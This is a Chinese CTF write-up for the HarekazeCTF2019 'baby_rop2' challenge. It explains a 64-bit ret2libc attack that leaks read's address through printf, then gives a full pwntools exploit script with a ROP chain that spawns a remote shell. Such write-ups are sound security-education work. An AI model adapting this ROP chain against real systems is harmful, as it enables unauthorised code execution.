首页 > 其他分享 >[HarekazeCTF2019]baby_rop2

[HarekazeCTF2019]baby_rop2

时间:2023-08-08 13:36:56浏览次数:37  
标签:plt p64 rop2 libc HarekazeCTF2019 read printf baby addr

[HarekazeCTF2019]baby_rop2

64位的ret2libc3

0x01

image-20230808095301880

利用printf泄露libc版本和基地址,传参的时候需要传入格式化字符串%s给寄存器rdi(程序中第二个printf函数自带,返回至该格式化字符串地址即可);并将想要泄露的read_got传给寄存器。

0x02

exp

from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
p = remote('node4.buuoj.cn',25502)
#p = process('./babyrop2')

elf = ELF('./babyrop2')
libc = ELF('libc.so.6')

#一定要用题目给的libc文件,可能必须要用题目给的才能打通

printf_plt = elf.plt['printf']
read_got = elf.got['read']
main_plt = elf.sym['main']

pop_rdi = 0x0000000000400733
pop_rsi_r15 = 0x0000000000400731
fmt = 0x0000000000400790

payload1 = b'a'*(0x20+8)+p64(pop_rdi)+p64(fmt)+p64(pop_rsi_r15)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main_plt)
p.recvuntil("name? ")
p.sendline(payload1)

read_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print("read_addr ======>> "+hex(read_addr))
libc_base = read_addr -  libc.sym["read"]
system_addr = libc_base+libc.sym["system"]
bin_sh_addr=libc_base+libc.search(b'/bin/sh').__next__()

payload2 = b'a'*0x28+p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr)+p64(0)
p.sendline(payload2)

p.interactive()




标签:plt,p64,rop2,libc,HarekazeCTF2019,read,printf,baby,addr
From: https://www.cnblogs.com/imarch22/p/17613907.html

相关文章

  • [OGeek2019]babyrop
    [OGeek2019]babyrop0x0164位程序,开启NX没有system函数和/bin/sh字符串0x02分析程序:main函数中,先读取一个随机数到fd,并作为参数传入sub_804871F函数,再将sub_804871F函数的返回值作为参数传入sub_80487D0函数里。main函数sub_804871F函数sub_80487D0函数观察程序我们可......
  • CTFer成长记录——CTF之Web专题·极客大挑战—BabySQL
    一、题目链接https://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]BabySQL二、解法步骤  本题是SQL注入,那么先尝试万能密码:1'or1=1#  发现or后面的东西都失效了,猜测对or进行了过滤,这里用双写绕过试试:1'oorr1=1#:  登陆成功。接......
  • m1 mac 上使用 babylon native 构建项目注意事项
    目前(2023-07-29)babylon不支持arm架构的模拟器,所以需要开启Rosetta构建命令(使用模拟器64位,x86_64)cmake-Bbuild/iOS-GXcode-DCMAKE_TOOLCHAIN_FILE=Dependencies/ios-cmake/ios.toolchain.cmake-DPLATFORM=SIMULATOR64-DENABLE_ARC=0-DDEPLOYMENT_TARGET=16xcode......
  • [SWPUCTF 2021 新生赛]babyrce
    [SWPUCTF2021新生赛]babyrce题目来源:nssctf题目类型:web涉及考点:Cookie注入、代码审计1.上来先代码审计<?phperror_reporting(0);header("Content-Type:text/html;charset=utf-8");highlight_file(__FILE__);if($_COOKIE['admin']==1){include"../next.p......
  • babylonjs_uv贴图_瞬间秒懂
    babylonjs_uv贴图_瞬间秒懂https://doc.babylonjs.com/features/introductionToFeatures/chap2/face_material......
  • npm run dev 提示 { parser: “babylon“ } is deprecated; we now treat it as { pars
    方法1修改文件:..../node_modules/vue-loader/lib/template-compiler/index.js//原来是这样的if(!isProduction){code=prettier.format(code,{semi:false,parser:'babylon'})}//修改后if(!isProduction){code=prettier.format(code,{semi:f......
  • 中了babyk勒索病毒,如何解密?
    .babyk勒索病毒的家族名称为win32/Ransom.Babyk,也是当下比较流行的一种勒索病毒,它主要攻击的平台类型为:win32与win64,威胁类型为:Ransom,.babyk后缀勒索病毒是先前建立的BabukLocker威胁的变体,它旨在渗透目标系统,并且对文件的加密程度极高,一旦计算机数据库被.babyk后缀勒索病毒攻击后......
  • BUUCTF:[极客大挑战 2019]BabySQL
    题目地址:https://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]BabySQL简单测试之后发现有些字符被过滤,初步判断这里的过滤是指特殊字符被替换为空,如下图所示使用Burp进行SQL过滤字符的Fuzz这些长度为726响应内容是Inputyourusernameandpass......
  • babylon.js 学习笔记(10)
    今天来学习下车床(lathe)建型及粒子系统,babylon.js有一个很强大的函数CreateLathe,可以将一段路径经过旋转后,形成1个shape,这么说有点抽象,比如下面这张图:其中的关键点坐标为:constfountainProfile=[newBABYLON.Vector3(0,0,0),newBABYLON.Vector3(10,0,0),......
  • The baby-bust economy “婴儿荒”经济 | 经济学人20230603版社论双语精翻
    2023年6月3日《经济学人》(TheEconomist)封面文章暨社论(Leaders)精选:《“婴儿荒”经济》(“Thebaby-busteconomy”)。baby-bust即“婴儿荒”(生育低谷),与历史上1946~1964年间著名的baby-boom即“婴儿潮”(生育高峰)相对立。Thebaby-busteconomy“婴儿荒”经济Globalfertilityhascoll......